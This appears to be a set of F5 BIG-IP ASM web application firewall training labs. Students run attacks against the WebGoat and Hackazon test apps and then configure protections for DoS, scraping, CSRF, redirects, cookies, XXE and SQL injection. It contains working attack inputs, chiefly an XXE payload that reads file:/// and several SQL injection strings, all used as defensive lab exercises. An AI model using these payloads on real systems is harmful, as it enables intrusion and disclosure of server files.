2. On the jumphost, open three terminals, one to the BIG-IP and two to the Kali Linux Client, using the password provided by the instructor.

ssh admin@10.1.1.245 (bigip01)
ssh f5student@10.1.1.10 (Kali)

Examine the DoS Profile¶

1. In TMUI, go to Local traffic > Virtual Servers > Virtual Server List > Hackazon_BaDOS_protected
2. Select the Security tab and then Policies. Make sure that DoS Profile and Log Profile are set up as below.

3. Select the resources tab above. Note the iRule that is applied.

This is not a real world scenario. Attacks would typically come from a wide range of IP addresses. In this demo environment, we do not have dozens of good and bad source IPs available for clients and attackers. We simulate them by adding an iRule to the VS, which adds a randomized X-Forwarded-For header to each request.

4. Go back to the Properties tab and notice that the http profile is also customized. It is configured to accept XFF for the iRule to function correctly.
5. Go to Security > DoS Protection > DoS Profiles > hackazon_BaDOS and select the Application Security tab.

6. Select Bot Signatures and select Edit and uncheck enabled. Then click Update.

7. Select Behavioral and Stress-based Detection and click Edit under Behavioral Detection and Mitigation.

8. Notice that “Use approved signatures only” is unchecked. If checked, we would need to approve each dynamic signature. No need to edit, click close.
9. The Behavioral DoS profile is already applied and ready to go. Move on to the next section to begin analyzing traffic.

Create Baseline traffic for the BIG-IP¶

1. In your BIG-IP terminal session, change to the scripts directory and take a look at bash scripts that have been created.

2. Most of these scripts are used to setup the lab environment or reset it for further tests. Run the “show_BaDOS_learning.sh” script, the output should look similar to the below.

./show_BaDOS_learning.sh

3. In one of your Kali Linux terminal windows, examine your home directory and run the “base_menu.sh” script.

./baseline_menu.sh

4. Select either option 1 or option 2, but notice that option 3 quits the script. You will use this later.

5. In a second Kali terminal window, run the script again, but select the other option.

It does not matter which order is used here, and the results of baseline testing are not an exact science

6. Go back to your BIG-IP terminal window and take a look at the results of your earlier script.

The “show_BaDOS_learning.sh” uses the admd daemon for stress-based DoS detection and mitigation. An example of the admd command is below and does not need to tbe executed.

admd -s vs./Common/Hackazon_BaDOS_protected+/Common/Hackazon_BaDOS.info.learning

Given the parameters of the Virtual Server and the corresponding DOS profile, admd returns stats on traffic learning. We want to wait until the first number in the brackets is 90 or above. This represents the percentage confidence the system has in baseline traffic. Below is output that has reached 88% then 92%.

7. Once you have reached 90% confidence, you may move on to the next task. This may take a few minutes or more.

Launch the Attack¶

1. Open another terminal window to Kali Linux and login as f5student.
2. In your home directory, you will find another script named “AB_DOS.sh”. Run this script.

./AB_DOS.sh

3. Select 1 for “Attack start - similarity” and hit enter. Notice that entering 4 ends the script. You will use this later to end the attack.

Examine the Mitigation¶

1. On TMUI, go to Security > DoS Protection > Signatures and click on the bar for Dynamic. You should see an entry similar to the below (this may not show up right away, revisit the page until an entry appears).

2. Notice that the “Deployement State” is Mitigate. This is because the signature was enforced immediately, since we did not select to approve signatures in the Behavioral DOS policy.
3. Go to Security > Event Logs > DoS > Application Events

4. Notice that the attack Mitigation was Behavioral. This means a dynamic signature was created and enforced to mitigate the attack.
5. How does this differ from Bot Detection? Why should you use both mitigations usually?
6. In each of your terminal windows type Ctrl+C to terminate the scripts. The AB_DOS.sh script will require you to enter 4 to quit after pressing Ctrl+C..

Connect to the lab environment¶

1. From the jumphost, launch chrome, click the BIG-IP bookmark and login to TMUI. admin/password
2. From the jumphost, launch firefox, which we will use to create the macro.

Remove any existing security policy from the Webgoat Virtual Server¶

1. On the BIG-IP TMUI, Go to Local Traffic > Virtual Servers > asm_vs
2. Click the Security > Policies tab at the top
3. Change the Application Security Policy to “Disabled”
4. The Logging Profile should be set to “Log Illegal Requests” and click update

Connect to the Webgoat Application¶

1. Using Firefox, click on the shortcut for WEBGOAT login

   http://10.1.10.145/WebGoat/login

Create a web scraping macro¶

1. Launch the iMacros sidebar by clicking on the icon at the top-right of Firefox

2. Click the iMacro Rec menu, then click the Record button
3. On the pop-up that asks to close all tabs, select No
4. Click Stop to save the current macro (URI should be /Webgoat/login )
5. Click the Play menu and set the Max to 12 and click Play Loop
6. Did the pages load successfully?

Create a security policy to prevent webscraping¶

1. Log into the BigIP through the browser
2. Click on Security > Application Security > Security Policies and Create
3. Select the Advanced view instead of Basic (default)
4. Name the policy “webscraping”
5. Select “Rapid Deployment Policy” for the “Policy Template”, this will bring up a prompt asking if you want to continue, click “Ok”
6. Select “asm_vs” for Virtual Server and click Create Policy (upper left)
7. Change Enforcement Mode to “Blocking”
8. Once created, go to Application Security > Anomaly Detection > Web Scraping
9. Click Bot Detection and select “Alarm and Block”. This will bring up a “Bot Detection” menu below
10. Edit the settings per the screenshot, click Save and then Apply Policy

Create a DNS Resolver¶

1. You can either follow the link in the warning as you enable Web Scraping, or go to Network > DNS Resolvers > DNS Resolver List and Create
2. Assign a name to the Resolver profile and click Finished

Attempt to scrape the Webgoat Login Page¶

1. Go back to your Webgoat tab in Firefox and re-run the macro you created
2. Did the page hits load successfully?

Review the Security Event Logs¶

1. Go to Security > Event Logs > Application > Requests
2. You should see some current illegal requests, as in the example below, click on one and examine the details

3. What caused ASM to block the request?
4. Now go to Security > Event Logs > Application > Web Scraping Statistics
5. Do you see any events?

Reset the Virtual Server config for the next lab¶

1. Clear the app security event log by going to Secuirty > Application Security -> Event Logs > Requests and clicking the check box to select all “Illegal Requests”. Then click “Delete Requests”.
2. Remove the webscraping security profile from the asm_vs virtual server by going to Local Traffic > Virtual Servers > asm_vs, then click Security > Policies tab. Then set “Application Security Policy” to Disabled and click Update.

Connect to the Lab Environment¶

1. From the jumphost, launch firefox, click the BIG-IP bookmark and login to TMUI. admin/password
2. In separate tab connect to http://webgoat.local/WebGoat/login or click the bookmark and login as f5student/password

Test CSRF Behavior¶

1. In the WebGoat App, go to Request Forgeries, then click Cross-Site Request Forgeries

2. Click the tab/button for #4 and read through the lesson.

   In this lesson you will use a common comment/review page for an online seller.

3. Minimize the browser and open the CSRF.html file on your desktop.

   This is an example of a website asking you to register for a mailing list.

4. Type in “f5student@example.com” and click Sign Up. This should open a new tab, leave the tab open.

5. Click back on your webgoat browser tab. Then refresh (you ust refresh the page to view the changes) the reviews section. What do you notice?

   The attacker site took advantage of the fact that you were already logged in to WebGoat Application and used your account to post a review.

6. Go back to the attacker site tab, right-click and select view source. Examine the code to see the hidden form fields that were used for the attack.

Mitigate the Attack¶

1. Apply the ASM241 Security Policy to the asm_vs. On the BIG-IP TMUI, go to Local traffic > Virtual Servers > asm_vs
2. Click the Security tab and make sure “Application Security Policy” is set to “asm241”.
3. Make sure the logging Profile is set to “Log Illegal Requests”
4. Click Update to apply the policy to asm_vs.

5. Apply CSRF Protection to the ASM241 policy. Go to Security > Application Security > CSRF Protection, ensuring the “Currently edited security policy” is ASM241.
6. Check enabled and in the New URL field type “/WebGoat/start.mvc*”

5. Click Add and Save, then click Apply Policy in the top right and OK.
6. Go to Security > Application Security > Policy Building > Learning and Blocking Settings and select “Advanced” in the drop-down on the right.
7. Expand CSRF Protection and ensure all checkboxes are checked for “CSRF attack detected”.

Test the CSRF attack again¶

1. Browse to http://webgoat.local/WebGoat/login and login as “f5student”.

2. On the left menu click Request Forgeries, then click Cross-Site Request Forgeries.

3. Click the number “4” near the top of the page.

4. Open the “CSRF.html” file on your desktop again or click back on the “Attacker site” tab in your browser if it is still open.

5. Type anything into the text field and click the Sign Up! Button.

   The request should be blocked by ASM

6. On the BIG-IP, go to Security, and click on Event Logs.

   You should see the CSRF attempt blocked and logged

Connect to the lab environment¶

1. From the jumphost, launch Chrome, click the BIG-IP bookmark and login to TMUI. admin/password
2. Open a second tab for use with the Hackazon App

Test HTTP Redirection Behavior¶

1. Browse to http://hackazon.local/user/login
2. Login as ‘f5student’ with the proper password using the “Sign-in” link in the top right.
3. You are logged in normally and now see your account.
4. Click the “Logout” button in the top right.
5. Browse to http://hackazon.local/user/login?return_url=http://webgoat.local/WebGoat/login and login again as ‘f5student’ with the proper password.

Edit the hackazon_asm241 Security Policy¶

1. On the BIG-IP TMUI Go to Security > Application Security > Headers > Redirection Protection.
2. Verify that the “Current edited security policy” says “hackazon_asm241 (blocking)”.
3. The policy currently allows for redirection to any domain.

4. Add redirection protection to the policy by only allowing the site domain name. In the Domain Name field, type “hackazon.local” and click “Add”.
5. Click the checkbox next to “*” and click the Delete button.

6. Click Save, then click Apply Policy and OK

Test HTTP Redirection Protection¶

1. Browse again to http://hackazon.local/user/login?return_url=http://webgoat.local/WebGoat/login

2. Login again as ‘f5student’ with the proper password.
3. You should get a block page.

4. On the BIG-IP, go to Security > Event Logs > Application > Requests.
5. You should see the HTTP redirect event, “Illegal redirection attempt”, blocked and logged.

Connect to the Lab Environment¶

1. From the jumphost, launch Chrome or Firefox and login to the BIG-IP TMUI as f5student/password

2. Open the hackazon application in firefox.

   Note you must use firefox for the hackazon application because only it is proxied to Burp

3. In firefox go to the right hand side icon and select “Preferences”.

4. Then select Advanced > Network, under “Connection” click “Settings”.

5. Set your proxy settings to manual as shown in the screenshot below, click “Ok”.

5. From the jumphost desktop, launch Burp Suite using the icon on the desktop. If you are prompted to update Burp, ignore this pop-up by clicking “Close”.

• Select Temporary Projects and click Next.
• Leave Defaults checked and click “Start Burp”
• Select the “Proxy” tab and then turn intercept off.

Examine the cookies¶

1. Turn intercept to on in Burp and in your hackazon tab, click on one or various links like “Get the Best Price”.
2. In Burp, examine the request. Notice the cookie names and their values before forwarding, click Forward to send the request to the Hackazon app, then view the Hackazon app in the firefox tab to view the response.

3. With intercept still set to on, click on the same link, but this time select the cookie value and edit it.

4. Notice the there is no change resulting response, but should we allow cookies to be manipulated?
5. Turn intercept off.

Configure BIG-IP to learn and enforce cookies¶

1. In BIG-IP TMUI, go to Security > Application Security > Policy Building > Learning and Blocking Settings.
2. Make sure the Current edited security policy is “hackazon_asm241” and select Advanced on the right side.
3. Scroll down to Cookies and expand.

4. Check the boxes for “Learn and enforce new unmodified cookies” as well as Learn, Alarm, and Block for “Modified domain cookies”

5. Click Save and Apply the Policy

   Your policy is now configured to learn the cookies that are in use so that they may be enforced.

Traffic Learning¶

1. Now that our policy is set up to learn about our application’s cookies, we need to replicate the traffic from earlier for ASM.
2. Open your firefox tab with hackzon and click on the link for “Get the Best Price”. You may want to click on a few other links to have ASM learn other cookies.
3. Go back to BIG-IP and go to Security > Application Security > Policy Building > Traffic Learning
4. Make sure that the Current edited policy is “hackazon_asm241” and search for “Enforce Cookie”
5. Select the entry for JSESSIONID and Accept the Suggection

Note you may accept the suggestion, but place the cookie in staging. For this lab go ahead and enforce the suggestion

6. Go to Security > Application Security > Headers > Cookie List and examine the new entries for Enforced Cookies

Trigger the Cookie Modification Protection¶

1. Turn intercept to on in Burp and in your hackazon tab, click on one or various links like “Get the Best Price”
2. In Burp, examine the request. Notice the JSESSIONID cookie and edit the value. Then Click Forward
3. You should receive a block page from ASM

5. Turn intercept off and go back to BIG-IP tab
6. Go to Security > Event Logs > Application > Requests and examine the illegal request

7. Close Burp Suite. Then return to your firefox settings and change the proxy settings back to “No Proxy”

Connect to the lab environment¶

1. From the jumphost, launch Chrome, click the BIG-IP bookmark and login to TMUI using admin/password.
2. Open a second tab in Chrome for use with the WebGoat App.

Take a look at the WebGoat object¶

1. Browse to http://10.1.10.145/WebGoat/login and login as “f5student”.
2. On the left menu click Vulnerable Components – A9, then click Vulnerable Components.
3. Note the Software Supply Chain .png graphic in the middle of the page.

Edit the Security Policy¶

1. On the BIG-IP TMUI, go to Local traffic > Virtual Servers > asm_vs.
2. Click the Security tab and make sure “Application Security Policy” is set to “ASM241”.
3. Make sure the Log Profile is set to “Log Illegal Requests”. The resulting config should look like the below. Click “Update” if any changes were made.

1. Go to Security > Application Security > File Types > Disallowed File Types. Ensure the “ASM241” policy is the “Current edited security policy”
2. Click the Create button on the right side.
3. Type “png” in the File Type (Explicit only) box and click Create.

4. Click Apply Policy in the top right, then click OK.

Test File Type Protection¶

1. Launch firefox (to avoid any webcaching done by Chrome) and Browse to http://10.1.10.145/WebGoat/login and login as “f5student” or use the bookmark.
2. On the left menu click Vulnerable Components – A9, then click Vulnerable Components.
3. The Software Supply Chain .png graphic does not load, because it is blocked by the ASM Disallowed File Types setting blocking .png files.

4. Go to Security > Event Logs > Application > Requests and examine the logs, you should see an illegal request similar to the below.

5. What other applications are there for this type of policy?

Connect to the lab environment¶

1. From the jumphost, launch Chrome, click the BIG-IP bookmark and login to TMUI. admin/password

2. From the jumphost, launch firefox, which we will use to access WebGoat.
3. In firefox go to the right-hand side icon and select “Preferences”.

4. Then select Advanced > Network, under “Connection” click “Settings”.

5. Set your proxy settings to manual as shown in the screenshot below, click “Ok”.

5. From the jumphost desktop, launch Burp Suite using the icon on the desktop. If you are prompted to update Burp, ignore this pop-up by clicking “Close”.

• Select Temporary Projects and click Next.
• Leave Defaults checked and click “Start Burp”
• Select the “Proxy” tab and then turn intercept off.

An XXE Vulnerability¶

1. Login to WebGoat using firefox f5student/password.
2. Select “Injection Flaws” and then select “XXE”.
3. If XML or XML External Entities are new to you, then please start from the begging and read through parts 1 and 2 in the WebGoat Lesson.

4. Under part 3, enter a comment to familiarize yourself with the application. To complete the lesson, you will need to figure out how to list the contents of the root directory utilizing this submission form.

5. Enter the following statment in the field and click submit. What does this tell us?

:: &xxe;

6. So we know that an XML External Entity can be utilized with this form, but we will need to manipulate a request.

Manipulating the Request¶

1. In Burp Suite turn Intercept back to on.

2. Submit another comment using something simple like “test” or “abc”.
3. Burp should come back to the front, but if not switch to Burp to examine the request.

4. Edit the request with the following XML.

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///" >]>
<comment>
<text>abc&xxe;</text>
</comment>

There should be an XML document on your desktop named xxe which you may paste from to save time, but please read and understand the request.

5. Click Forward to pass the request on to the server and make sure you forward any remaining requests before turning intercept back off.
6. What was the result?

Mitigate an XXE attack¶

1. Login to the BIG-IP as before with admin/password.
2. Browse to Local Traffic > Virtual Servers > asm_vs and select “Policies” under the security tab.
3. Make sure “ASM241” is selected as your Application Security Policy and that you have “Log Illegal Requests” as your Log Profile. Click “Update” if any changes are made.

4. Go to Security > Application Security > Attack Signatures and make sure your current edited policy is ASM241.
5. Under Policy Attack Signatures, select “Signature name contains” and enter “External” before clicking Go.
6. Select the following signatures and click enforce. Click “Apply Policy”.

7. Using Burp suite and firefox, turn intercept back on we will run the same test, manipulating the request.
8. Submit another comment that is different from the previous, something simple like “test1” or “abc1”.
9. Burp should come back to the front, but if not switch to Burp to examine the request.
10. Edit the request with the following XML.

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///" >]>
<comment>
<text>abc1&xxe;</text>
</comment>

11. Forward the request. What happens this time?

Check your logs¶

1. On BIG-IP go to Security > Application Security > Event Logs > Application > Requests.
2. You should see an entry that trigger the now enforced Attack Signatures.

3. What is another way that ASM could be used to mitigate XXE injection?

Hint: Take a look at the Application Security > Content Profiles > XML Profiles. The Default profile is applied to all http and https requests.

4. Turn intercept back to off and close Burp Suite. Then return to your firefox settings and change the proxy settings back to “No Proxy”.

Task 1 - Import the existing UCS into BIG-IP¶

UCS files are located in the in_case_of_emergency folder on desktop of the Linux Jumphost

Complete the following steps:

1. Login to the BIG-IP GUI
2. Click System -> Archives -> Upload
3. Click Choose File find the desired UCS in the specified folder and open
4. Click Upload

Task 2 - Use TMSH to restore the UCS¶

Because the dynamic license within this environment we must specify the no-license flag, which is only available via TMSH commands.

Complete the following steps:

1. Open Root Terminal from the Desktop
2. SSH in the BIGIP needing the UCS restore, example ssh root@10.1.1.10
3. Issue the tmsh command to switch shells
4. To restore the specific UCS file issue the following command: load sys ucs (name_of_ucs) no-license

Task 1 - Import the existing UCS into BIG-IP¶

UCS files are located in the in_case_of_emergency folder on desktop of the Linux Jumphost

Complete the following steps:

1. Login to the BIG-IP GUI
2. Click System -> Archives -> Upload
3. Click Choose File find the desired UCS in the specified folder and open
4. Click Upload

Task 2 - Use TMSH to restore the UCS¶

Because the dynamic license within this environment we must specify the no-license flag, which is only available via TMSH commands.

Complete the following steps:

1. Open Root Terminal from the Desktop
2. SSH in the BIGIP needing the UCS restore, example ssh root@10.1.1.10
3. Issue the tmsh command to switch shells
4. To restore the specific UCS file issue the following command: load sys ucs (name_of_ucs) no-license

Task 1 - Export the existing iApp from BIG-IP¶

The iApp template can be exported from a BIG-IP system where it has been installed. The file has a .tmpl extension and is a plaintext, readable format.

Complete the following steps:

1. Login to the BIG-IP GUI with admin credentials
2. Click iApps -> Templates
3. Find the desired template in the list and click the template name to open it
4. Scroll to the bottom of the page and click the ‘Export’ button
5. Click the Download: ... button and save the file to your computer

Task 2 - Edit the Exported template¶

We will now edit the template name to add a version number. iWorkflow currently supports the following formats:

• template_name_v1.0_0
• template_name.v.1.0.0
• /<partition>/template_name.v1.0.0

Complete the following steps:

1. Open the previously saved .tmpl file in a text editor

2. Perform a text search for sys application template

   Example:

   1 2 3 4 5 6 7 8

   cli admin-partitions { update-partition Common } sys application template my_template_name { actions { definition { implementation {

3. Modify the template name to include a version number using one of the formats specified at the beginning of this task.

   Example:

   1 2 3 4 5 6 7 8

   cli admin-partitions { update-partition Common } sys application template my_template_name.v1.0.0 { actions { definition { implementation {

4. Save the file

Task 3 - Import the iApp template to iWorkflow¶

The updated iApp template is now ready to be imported to iWorkflow. Instructions on how to do this can be found at:

https://devcentral.f5.com/wiki/iWorkflow.iWorkflowOpsGuide_7.ashx

Task 1 - Create a Security Policy and Enable Logging¶

1. Browse to the BIGIP management console by opening FireFox and clicking on the bigip01 shortcut.

2. Login with the credentials username: f5student and the password: password.

3. Create a new ASM policy by navigating to Security -> Application Security -> Security Policies.

4. Click Create New Policy and fill in the page as follows, using lab1 as the name, then click Create Policy.

   Note

   If you find the images difficult to read, you can click on them to zoom in.

   

5. Navigate to Local Traffic -> Virtual Servers and select the “asm_vs” virtual server.

6. Click the Security tab and select policies to view Policy settings.

   

7. Enable “Log Profile” then add the “Log All Requests” profile as shown below, and click Update.

   

8. Finally, lets configure this ASM policy to Alarm on “Illegal URLs”. Navigate to Security -> Application Security -> Security Policies.

9. Click “View Learning and Blocking Settings”.

   

10. Expand the “URLs” dropdown and check Alarm for “Illegal URL”.

11. Click Save and then click Apply Policy.

    

Task 2 - Examine the Allowed URLs list¶

1. Open a new firefox tab and login to http://10.1.10.145/WebGoat (credentials are f5student / password).

2. Explore around the app. Notice as you click between (for instance) Injection Flaws and Authentication Flaws that the URL changes to correspond to the page. We can use this information to build our ASM policy.

3. Return to the BIG-IP UI and navigate to Security -> Application Security -> URLs -> Allowed URLs .

4. Our WAF is currently set to allow any URL as represented by the wildcard entries.

   

5. We can verify the WAF is seeing the traffic by navigating to Security -> Event Logs -> Application -> Requests and inspecting the entries.

   

6. Don’t forget to clear the “Illegal Requests” filter, so that legal requests will be displayed!

   

Task 3 - Modify the Allowed URLs List¶

1. Return to the Allowed URLs list.

2. Delete the HTTP and HTTPS Wildcard entries.

   

3. Click the Apply Policy button.

4. Attempt to browse the test site http://10.1.10.145/WebGoat , what are your results?

5. We are still able to browse because our policy is not configured to block for Illegal URLs. Return to the “View Learning and Blocking Settings” page.

   

6. Check the Block box for Illegal URLs. Click Save followed by Apply Policy.

   

7. Attempt to browse the test site http://10.1.10.145/WebGoat , what are your results?

8. Return to the Allowed HTTP URLs and add an Allowed URL. Click the Create button and create an allowed URL with the following settings:

   

9. Click Apply Policy.

10. Test site again, are you able to browse?

Task 4 - Create Explicit Allowed URLs with Manual Traffic Learning¶

1. Now that we’ve seen how wildcard URLs work, let’s get the site to work with explicit URLs.

2. Delete the Wildcard URL /WebGoat/* .

3. Click Apply Policy.

4. Due to the number of URLs actually involved in making our application work, we’ll see if we can use manual traffic learning to make the Login page render properly.

   Note

   It is much easier to use the automatic policy builder or manaul traffic learning starting with wildcard URL entries. We’re doing it this way so that you’ll get a better understanding of how ASM works under the hood.

5. Return to the learning and blocking settings page once more and configure ASM to always learn URLs:

   

6. Click save then Apply Policy.

7. Now, attempt to load the login screen again (http://10.1.10.145/WebGoat/login) then return to the Requests log at Security -> Event Logs -> Application -> Requests.

8. Find the entry for the login page and click Accept Request.

   

9. Return to Security -> Application Security -> URLs -> Allowed URLs. | There should now be an explicit entry for /WebGoat/login.

10. Select the entry and click Enforce, then OK, then click Apply Policy followed by OK

    

11. Try to load http://10.1.10.145/WebGoat/login again. It should now partially load but will not look correct. This is because the application is actually comprised of many other URLs that are not in our list.

12. Repeat these steps a few times and see if you can get the login page to load fully. Note that you can accept multiple requests at once before returning to the URLs dialog and new requests in the Requests log should be bolded…making it easier to find the issue.

Task 6 - Lab Cleanup¶

1. Let’s cleanup and prepare for the next module by deleting the lab1 policy we’ve been using.
2. Navigate to Security -> Application Security -> Security Policies.
3. Select lab1 and click Delete.

Task 1 - Allowed Methods¶

1. Navigate to Security -> Application Security -> Security Policies -> Policies List and click Create Policy.

   

2. In the BIG-IP WebUI navigate to Security -> Application Security -> Headers -> Methods.

3. Policy wide Method permissions are configured here. If your application requires a method beyond the default three, they can be added by clicking the Create button.

   

Task 2 - Restricting Method on per URL basis¶

1. Let’s return to our Allowed URLs list Security -> Application Security -> URLs -> Allowed URLs.

2. Click Create and use the following settings:

   

3. Click Create.

4. Click Apply Policy.

5. Attempt to login to http://10.1.10.145/WebGoat/login.

6. What is the result, and why?

Task 3 - Lab Cleanup¶

1. Let’s cleanup and prepare for the next module by deleting the lab2 policy we’ve been using.
2. Navigate to Security -> Application Security -> Security Policies.
3. Select lab2 and click Delete.

Task 1 - Create a Clean Secuirty Policy and Verify Blocking Mode¶

1. Navigate to Security -> Application Security -> Security Policies.

2. Click Create and create a new policy called lab3 with the following settings, using the Advanced view. Click Create Policy when done changing the settings:

   

   Note

   Since we used a rapid deployment policy, disabled signature staging, and enabled blocking mode we should have decent protection out of the box, but we’ll want to verify that before we continue.

3. Open a new browser tab and load the Webgoat login page at http://bypass.me/WebGoat/login.

   Note

   Previous labs did not require a hostname to access WebGoat. We’re using one in this lab so that we have a header to bypass on later.

4. Make a SQl injection attempt by entering ' OR 1=1;# in the login box and clicking Sign In.

   

5. If everything is configured properly you should be greeted with an ASM block page similar to the one below:

   

Task 2 - Enabling Transparent Mode for Certain Hostnames¶

1. Navigate to Security -> Application Security -> Headers -> Host Names .

2. Click Create.

3. Use bypass.me as the hostname and select the True checkbox. Your configuration should look like the one below:

   

4. Click Create and then Apply Policy .

Task 3 - Verify Operation¶

1. Return to http://bypass.me/WebGoat/login and try your attack once more (' OR 1=1;#). The request should now be allowed and you should get “Invalid Username or Password”.

2. Go to Security -> Event Logs -> Application -> Requests and find the most recent request. You’ll notice that while ASM allowed the attack to reach the application, it still treats it as an illegal request in every other way. Notice also that the request status is “Unblocked” and the log entry provides a reason.

   

Task 4 - Lab Cleanup¶

1. Let’s cleanup and prepare for the next module by deleting the lab3 policy we’ve been using.
2. Navigate to Security -> Application Security -> Security Policies.
3. Select lab3 and click Delete.

Task 1 - Create a new Security Policy¶

1. Navigate to Security -> Application Security -> Security Policies and click Create New Policy

2. Chose Advanced in the upper right hand corner of the policy configuration pane.

3. Populate the configuration dialog like the one below, then click Create Policy. Be sure to enter the IP address and click add. This is the IP address of our lab workstation and will tell ASM to treat traffic originating from there as legitimate. This will help to speed up the learning process.

   

4. Navigate to Security -> Application Security -> Parameters -> Parameters List. You should see only the wildcard parameter like below:

   

Task 2 - Automatically Populate the Security Policy¶

1. Open a new Chrome window and login to WebGoat at http://10.1.10.145/WebGoat/login.

2. Exercise the application by walking through the menus. When you get to the Cross Site Scripting exercise, be sure to click through all of the lessons on the horizontal menu at the top (see below). Feel free to modify values and exercise parameters as well. Updating the quantities in exercise 7 will produce some good results.

   

3. Choose Injection Flaws -> SQL Injection from the menu on the left then chose page 7 from the top.

   

4. In the Account Name field, enter Smith and click Get Account Info (click 5x to simulate traffic).

5. Also enter the names Plane, Snow, and Hershey, clicking Get Account Info after each.

6. Now return to Security -> Application Security -> Parameters -> Parameters List. You should see that things have changed significantly since our last visit.

   

   ASM’s automatic policy builder analyzes web application traffic and uses it to automatically tune the policy. In this case, it populated our parameters list for us.

   Note

   Your list may not be exactly the same as the one above depending on where browsed in the application. Since ASM only analyzes traffic and not the site itself, the policy will only contain explicit objects for areas of the application that have actually been accessed. This is an important consideration when electing to use the automatic policy builder.

Task 3 - Test Parameter-Based Protections¶

1. Click on the username entry in the parameter list. If you don’t have a username parameter, logout of WebGoat and log back in to generate one.

   

   Note

   Notice the message highlighted above. ASM’s automatic policy builder actually has the ability to learn more about the parameter including the expected input type, character set, length, etc, but these can also be manually set. As the message indicates, if we manually modify the parameter, the Automatic Policy Builder will not attempt to automatically classify it. The policy builder has yet to draw any conclusions about most of these parameters because it requires more traffic to analyze before making any of those determinations. However, you’ll notice that the account parmater has started to be modified due to the traffic we created in the SQL Injection exercise.

2. Select the Parameter Value Type and choose User-input Value from the list.

   

3. Explore the options under the Data Type Tab but ensure that it is set to Alpha-Numeric when you’re done.

   

4. Set the Maximum Length value to 8 and click Update.

   

5. You may have noticed that all of the discovered parameters are currently in staging. This is by design, to prevent the automatic policy builder from breaking things as it learns. Since we’ve manually overridden the parameter’s attributes, we’re going to take it out of staging in order to experiment with it. Select the username parameter and click Enforce.

   

6. Return to the BIG-IP and navigate to Security -> Application Security -> IP Address Exceptions.

7. Select the 10.1.10.51 entry and click Delete.

8. Click Apply Policy then click OK.

   Note

   We’ve removed our IP Address Exception from the list because we don’t want ASM to learn our bad behavior in the steps to come.

9. Now, logout of WebGoat and try to log back in. You should get a block page like the one below. Why?

   Hint: How many characters is our username?

   

10. Navigate to Security -> Event Logs -> Application -> Requests and find the most recent illegal request (or search by the support id on the block page).

    

    The request log indicates that the username value was 9 characters but we only allow 8 characters in that parameter so the request was blocked.

11. Click Accept Request to declare the request legitimate. This will automatically modify the parameter’s attributes to allow values of that length from then on. You have to be careful with this feature since you could inadvertently loosen the security policy too much.

12. Return to Security -> Application Security -> Parameters -> Parameters List and click on the username parameter to see what’s been changed.

    

    You’ll notice that the length has been set back to 10 characters automatically.

13. Click Apply Policy if required.

Task 4 - Using Parameter-Based Protections to Thwart Attacks¶

So you may be wondering why it is that limiting the user’s ability to enter data into a given parameter is useful. The truth is that a good portion of application vulnerabilities (like SQL injection and Cross Site Scripting) stem from the application’s failure to properly validate or sanitize input. In this lab we’ll show you how this functionality can help prevent a SQL injection attack.

1. Log back into WebGoat at http://10.1.10.145/WebGoat/login

2. Choose Injection Flaws -> SQL Injection from the menu on the left then chose page 7 from the top.

3. In the Account Name field, enter Smith' or '1'='1 and click Get Account Info (Repeat twice). The attack should be successful:

   

   Note

   The attack was not immediately blocked because we placed Attack Signatures in staging mode when we created the policy.

4. The parameter name for this field is account. Return to Security -> Application Security -> Parameters -> Parameters List and open the parameter.

5. Click on the Value Meta Characters tab. You should see in the box to the right that ASM has already blocked the single quote (0x27) character globally by default. You can also manually disallow (or allow) characters that should/should not be relevant to that parameter by using the << button and moving them over from the box on the right.

   

6. Uncheck Perform Staging and click Update, then click Apply Policy

   

   Note

   The character set defaults can be viewed or changed in Security -> Application Security-> Parameters -> Character Sets -> Parameter Value but are generally considered to be sane defaults for most applications. In the event that an override is necessary, it’s best to do so at the parameter level when possible.

7. Run your attack one more time. It should now be unsuccessful.

8. Return to Security -> Event Logs -> Application -> Requests. You should now see that the attack was blocked for both Illegal Parameter Value Length and Illegal Meta Character in Value. Click on each of these items for more detail. You’ll also notice that attack signatures were detected, but if you click on that heading you’ll note that they are still in staging. Once all of these items are out of staging we would have been covered by protections at both the parameter and signature level for this field.

   

Task 5 - Sensitive Parameters¶

You may have noticed throughout the course of this section that the password field in the ASM Requests log is always obfuscated (like below). Lets explore why that is.

1. Navigate to Security -> Application Security -> Parameters -> Parameters List and click on the password parameter. You’ll note that the Sensitive Parameter box is checked. This feature allows you to ensure that sensitive data (like passwords) are not stored in the logs. In this case ASM has automatically detected that this is a password field and obfuscated it for us. This feature can, however, be applied to any parameter in the list.

   

2. As a bonus step, try marking the username field as a sensitive parameter. When you’re done, log out of WebGoat and log back in, then review the Requests log to test it.

Task 6 - Lab Cleanup¶

1. Let’s cleanup and prepare for the next module by deleting the lab4 policy we’ve been using.
2. Navigate to Security -> Application Security -> Security Policies.
3. Select lab4 and click Delete.

This concludes module 1.

Task 1: Create a Security Policy and Enable Logging¶

1. Open your browser of choice and navigate to the BIG-IP management interface. For the purposes of this lab you can find it at https://10.1.1.245/ or by clicking on the bigip shortcut in Firefox.

2. Login to the BIG-IP with the username: f5student and the password password

3. Create a new ASM policy by navigating to Security -> Application Security -> Security Policies.

4. Click Create New Policy, fill in the page as follows, and then click Create Policy as shown below.

   

   Note

   If the virtual server doesn’t appear in the dropdown list, ensure that it has an HTTP profile assigned.

5. Navigate to Local Traffic -> Virtual Servers -> asm_vs -> Security -> Policies.

6. Ensure the Log Profile is set to “Log All Requests” profile as shown below.

   

   Note

   While you’re here it’s a good idea to confirm that the Lab2 security policy is also enabled.

Task 2: Define Login & Logout Pages¶

1. To configure a login page, go to Security -> Application Security -> Sessions and Logins -> Login Pages List and click Create.

2. We’ll now populate the form with data gathered from your favorite browser or reconnaissance tool. For expedience, we’ve gathered the appropriate data for you in advance:

   

3. Populate the form as shown below and click Create:

   

4. From the tab bar select Logout Pages List or navigate to Security -> Application Security -> Sessions and Logins -> Logout Pages List

5. Populate the form as shown below and click Create.

   

Task 3: Enable Session Tracking¶

1. Navigate to Security -> Application Security -> Sessions and Logins -> Session Tracking
2. Check Session Awareness and ensure Use All Login Pages is selected in the drop-down below it.
3. Ensure Track Violations and perform Actions is also enabled, then click Save.
4. Click Apply Policy in the upper right hand corner of the inner frame, then click OK.

Task 4: Test Session Tracking¶

1. Navigate to Security -> Event Logs -> Application -> Requests and click the X in the filter bar to clear the Illegal Requests filter.

